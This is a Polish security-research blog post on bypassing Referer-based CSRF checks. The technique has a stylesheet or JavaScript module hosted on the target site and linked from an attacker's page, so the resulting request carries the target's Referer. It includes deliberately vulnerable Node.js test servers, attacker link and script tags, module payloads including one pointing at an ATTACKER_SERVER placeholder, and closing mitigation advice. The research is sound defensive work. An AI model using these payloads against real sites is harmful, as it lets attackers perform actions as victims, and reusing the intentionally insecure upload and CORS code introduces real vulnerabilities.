Podczas testów nagłówka Referera natknąłem się na kilka specyficznych zachowań wartych opisania. Jedne z nich w specyficznych przypadkach pozwalają na nowe warianty w atakach CSRF. Są to raczej ataki niszowe, które podczas niektórych testów mogą się przydać.
Do testów stworzyłem kilka aplikacji. Wiele z nich ma błędy bezpieczeństwa niezwiązane z atakami, o których mówię, np. niepoprawna walidacja typu plików. Aplikacje służą do pokazania konkretnych ataków, a nie metod obrony, stąd nie poświęcałem czasu na pisanie bezpiecznych aplikacji.
Omijanie ochrony referer based CSRF GET przez możliwość wrzucania plików text/css.
Podczas czytania dokumentacji na temat implementacji różnych mechanizmów w przeglądarkach natknąłem się na ciekawy przypadek zachowania nagłówka Referer w kontekście plików CSS.

Z tej specyfikacji jasno wynika zachowanie nagłówka Referer.
Jeżeli na stronie A linkowany jest arkusz stylów, który znajduje się na stronie B, a ten arkusz stylów wykonuje żądanie, np. w celu pobrania obrazka ze strony C, to Referer tego żądania będzie B, a nie A.
Innymi słowy, przyjmijmy, że strona A to strona atakującego, a strona B jest stroną, która jest atakowana. Jeżeli na stronie B znajdzie się kod CSS, który importuje zdjęcie z strony B, to gdy atakujący na swojej stronie A zalinkuje ten skrypt z strony B, to żądania zostanie wykonane z Refererem strony B, co pozwala w niektórych przypadkach ominąć kontrolę Referer w atakach typu CSRF.
Jest to jednak przypadek rzadki, ale warty rozważenia podczas testów.
Czemu ten przypadek różni się od innych? Samo wrzucenie pliku css nie powoduje jego wykonania. Do udanego ataku trzeba go zalinkować i tu zazwyczaj trzeba znaleźć dodatkową podatność, np. HTML Injection, która umożliwi linkowanie skryptu na podatnej stronie. Okazuje się, że równie dobrze atakujący może zalinkować skrypt. W celu przetestowania ataku napisałem prostą aplikację w NodeJS. Aplikacja jest podatna na CSRF w GET, który pozwala na dodanie posta. Klasyczne ataki na aplikacje nie zadziałają, ponieważ aplikacja filtruje żądania w oparciu o nagłówek Referer. Aplikacja pozwala wrzucać kod z Content-Type: text/css.
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = 3000;
const uploadDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
const posts = [];
function checkReferer(req, res, next) {
const referer = req.headers.referer;
if (!referer) {
return res.status(403).send('Forbidden');
}
if (!referer.startsWith('http://localhost:3000/')) {
return res.status(403).send('Forbidden');
}
next();
}
const storage = multer.diskStorage({
destination: (req, file, cb) => cb(null, uploadDir),
filename: (req, file, cb) => cb(null, Date.now() + '-' + file.originalname)
});
const upload = multer({ storage });
app.post('/upload', upload.single('file'), (req, res) => {
if (!req.file) return res.status(400).send('No file uploaded');
res.send(`<a href="/file/${req.file.filename}">View uploaded file</a>`);
});
app.get('/file/:name', (req, res) => {
const filePath = path.join(uploadDir, req.params.name);
if (!fs.existsSync(filePath)) return res.status(404).send('File not found');
res.setHeader('Content-Type', 'text/css');
fs.createReadStream(filePath).pipe(res);
});
app.get('/add-post', checkReferer, (req, res) => {
const content = req.query.content;
if (!content) return res.status(400).send('Missing content');
posts.push({ id: posts.length + 1, content });
res.send('Post added');
});
app.listen(PORT);
Poniżej żądania stworzenia posta poprzez symulację przesłania użytkownikowi linku.

Korzystając z aplikacji, mogę wrzucać pliki CSS, np. z złośliwym ładunkiem:

Jak widać, kod się nie wykonał, kolejnym krokiem pentestera byłoby szukanie podatności, która pozwala na podatnej stronie zalinkować ten arkusz stylów w celu jego wykonania.
Zamiast tego atakujący na swojej stronie linkuje styl:
<link rel="stylesheet" href="http://localhost:3000/file/1779880728828-test.css">Ofiara wchodzi na stronę atakującego, a atak się wykonuje.
Rezultatem jest wykonanie ataku:



Atak działa też po HTTPS. W tym celu możemy zdefiniować dwa punkty końcowe jeden w beeceptor drugi w webhook.site

W webhooku możemy zaimportować styl.


Ta metoda działa tylko dla Firefox i Chrome.
Napisałem też prostą aplikację do sprawdzania, jaki Content-Type jest akceptowany w linkowaniu stylów. Niestety, w tym przypadku Content-Type może być tylko text/css. Stąd wymóg Content-Type: text/css.
Niestety jest też jeden problem. Ciasteczka w takich żądaniach nie są przesyłane. Co znacząco ogranicza ataki. Rozwiązaniem jest tutaj wstrzyknięcie takiego kodu w ramach SameSite. Załóżmy, że mamy domenę ofiary B, tam możemy wrzucać pliki z response header Content-Type: text/css. Aplikacja chroni się przed CSRF w oparciu o nagłówek Referer z dokładnym originem. Jeżeli znajdziemy możliwość wstrzyknięcia linkowania stylów w domenie np B to tym sposobem będziemy mogli ominąć kontrolę CSRF, a dodatkowo do żądania zostaną dołączone ciasteczka.
Omijanie ochrony referer based CSRF poprzez wrzucanie plików Javascript
W tym przypadku wykorzystujemy podobny mechanizm jak w przypadku plików CSS, ale tym razem zamiast linkować style CSS, linkujemy moduły JavaScript. Po raz kolejny wynika to z dokumentacji:

Z dokumentacji wynika, że jeżeli strona A (np. atakującego ) linkuje moduł z strony B, który robi np. fetch na podstronę ( może być też na stronę C ) to nagłówek Referer do strony C lub podstrony będzie zawierał B. Dokładnie tak jak w ataku z CSS. Ten sam problem jest z ciasteczkami, czyli atak przyda się dopiero jeżeli możemy linkować moduły na subdomenie. Oczywiście domyślnym ustawieniem przeglądarek jest strict-origin-when-cross-origin, które po prostu definiuje zachowanie dla nagłówka Referer w przypadku przekazywania go między HTTPS, HTTP. W tym przypadku nie wpływa to na atak jeżeli obie strony są HTTPS. Niestety, dodatkowym problemem w tym przypadku jest SOP, więc aplikacja wymaga odpowiednich nagłówków CORS z allow-credentials ustawionym na true. W przeciwnym wypadku żądanie zostanie wysłane, ale bez ciasteczek. Tutaj tak jak w plikach css wystarczy możliwość wrzucania plików JS, ale też Allow-Control-Allow-Credentials na true, a w przypadku subdomen to jeszcze reflected origin w Access-Control-Allow-Origin co jest częste. Jednak w porównaniu z text/css możliwości ataków są większe. W tym celu stworzyłem aplikację, która wyświetla kod Javascriptu w postaci fetch(“Moja_Strona/?content-type=text/html”). Strona ma ponad 2 tysiące punktów końcowych, każdy wygląda tak samo, ale serwer zwraca inny Content-Type.
Poniżej kod aplikacji:
const express = require('express');
const app = express();
const PORT = 3000;
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
next();
});
const contentTypes = [ /* over 2,000 content-type strings */ ];
contentTypes.forEach((type, index) => {
const route = `/${index + 1}`;
app.get(route, (req, res) => {
res.setHeader('Content-Type', type);
res.send(`import "https://ATTACKER_SERVER/content-type=${type}"`);
});
});
app.listen(PORT);
Zawartość zmiennej contentTypes jest wyedytowana, żeby kod nie był zbyt długi ( zajmowała ponad 2 tysiące linii).
Moim celem było sprawdzenie podczas linkowania modułów, jaki Content-Type w response header podatnego serwera może być, żeby linkowany moduł się wykonał. Okazuje się, że w tym przypadku można wrzucić kod Javascriptu z Content-Type w większej ilości wariantów, a nie, tak jak w przypadku CSS, tylko z Content-Type text/css. Dokładnie mówiąc, może być to:
text/javascript
application/javascript
application/ecmascript
text/ecmascript
Poniżej kod w aplikacji NodeJS, który pozwala na wrzucanie plików JS i dodawanie postów za pomocą GET z walidacją nagłówka Referer:
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = 3000;
const uploadDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadDir)) fs.mkdirSync(uploadDir);
const upload = multer({
storage: multer.diskStorage({
destination: (req, file, cb) => cb(null, uploadDir),
filename: (req, file, cb) => cb(null, Date.now() + '.js')
}),
fileFilter: (req, file, cb) => {
if (file.mimetype !== 'text/javascript') {
return cb(new Error('Only JavaScript files allowed'));
}
cb(null, true);
}
});
const posts = [];
app.post('/upload', upload.single('file'), (req, res) => {
if (!req.file) return res.status(400).send('No file');
res.json({ uploaded: true, url: '/files/' + req.file.filename });
});
app.get('/files/:file', (req, res) => {
const filePath = path.join(uploadDir, req.params.file);
if (!fs.existsSync(filePath)) return res.status(404).send('Not found');
res.setHeader('Content-Type', 'application/javascript');
res.setHeader('Access-Control-Allow-Origin', '*');
fs.createReadStream(filePath).pipe(res);
});
function csrf(req, res, next) {
const referer = req.headers.referer || '';
if (!referer.startsWith('http://localhost:3000/')) {
return res.status(403).send('Forbidden');
}
next();
}
app.get('/add-post', csrf, (req, res) => {
posts.push({ content: req.query.content || '' });
res.json({ success: true, posts });
});
app.listen(PORT);
Wygląd strony:

Przykład ataku CSRF przez podesłanie złośliwego linku:

Aplikacja zabrania wykonać ataku ze względu na nieprawidłowy nagłówek Referer.
Jeżeli jednak wrzucimy plik javascript:
import “http://localhost:3000/add-post?content=test”i zalinkujemy go na swojej stronie:
<script type=module src=”https://STRONA_ATAKUJACEGO”></script>atak się powiedzie:

Atak działa też jeżeli obie strony są na HTTPS. Dla przykładu możemy zdefiniować dwa różne punkty końcowe, jeden na Beeceptor, a drugi na api.requex.me ( webhook nie pozwala używać tagów script w wersji darmowej ).



Atak działa tylko na Firefox i Chrome.
FAQ
Czym jest strict-origin-when-cross-origin?
strict-origin-when-cross-origin to domyślna polityka referrera (referrer policy) w nowoczesnych przeglądarkach. Przy żądaniach w obrębie tego samego originu wysyła pełny adres URL w nagłówku Referer, przy żądaniach cross-origin tylko origin, a gdy żądanie przechodzi z HTTPS na HTTP, nie wysyła nagłówka Referer wcale. Wartość nagłówka Referer ustalana jest na podstawie originu, który zainicjował żądanie. Dlatego żądanie wykonane przez podlinkowany arkusz stylów lub moduł zawiera origin tego zasobu, a nie strony najwyższego poziomu.
Dlaczego ochrona przed CSRF oparta na nagłówku Referer zawodzi w przypadku tych technik?
Weryfikacja nagłówka Referer zakłada, że żądanie z originem celu mogą wygenerować wyłącznie strony należące do tego celu. Gdy jednak żądanie inicjuje arkusz stylów lub moduł JavaScript hostowany w serwisie docelowym, przeglądarka ustawia Referer na origin celu, mimo że zasób został podlinkowany na stronie atakującego. Mechanizm weryfikacji widzi zaufany origin i przepuszcza żądanie.
Czy te obejścia CSRF wysyłają ciasteczka ofiary?
Domyślnie nie. Zarówno wariant z CSS, jak i z modułem działają w kontekście cross-site, więc ciasteczka nie są dołączane, a skutki ataku są ograniczone. Ciasteczka zostają dołączone tylko wtedy, gdy linkowanie odbywa się w kontekście SameSite, np. z subdomeny celu. W wariancie z modułem dodatkowo wymagane jest, aby serwer docelowy zwracał nagłówki CORS z access-control-allow-credentials ustawionym na true.
Jakie typy treści (content types) działają w poszczególnych wariantach?
Podlinkowanie arkusza stylów wymaga, aby plik był serwowany jako text/css. Żaden inny typ treści nie zadziała. Podlinkowanie modułu JavaScript jest mniej restrykcyjne: wykonają się zarówno text/javascript, application/javascript, application/ecmascript, jak i text/ecmascript. Dzięki temu szerszemu zestawowi wariant z modułem jest bardziej praktyczny w rzeczywistych aplikacjach.
Jak zapobiec temu obejściu ochrony CSRF?
Zamiast polegać na weryfikacji nagłówka Referer, stosuj właściwy token anty-CSRF lub atrybut ciasteczek SameSite. Jeśli weryfikacja Referer musi pozostać, traktuj każdą funkcję pozwalającą użytkownikowi kontrolować typ treści odpowiedzi jako potencjalny element umożliwiający obejście zabezpieczeń i ograniczaj przesyłane pliki do bezpiecznych, niewykonywalnych typów treści.




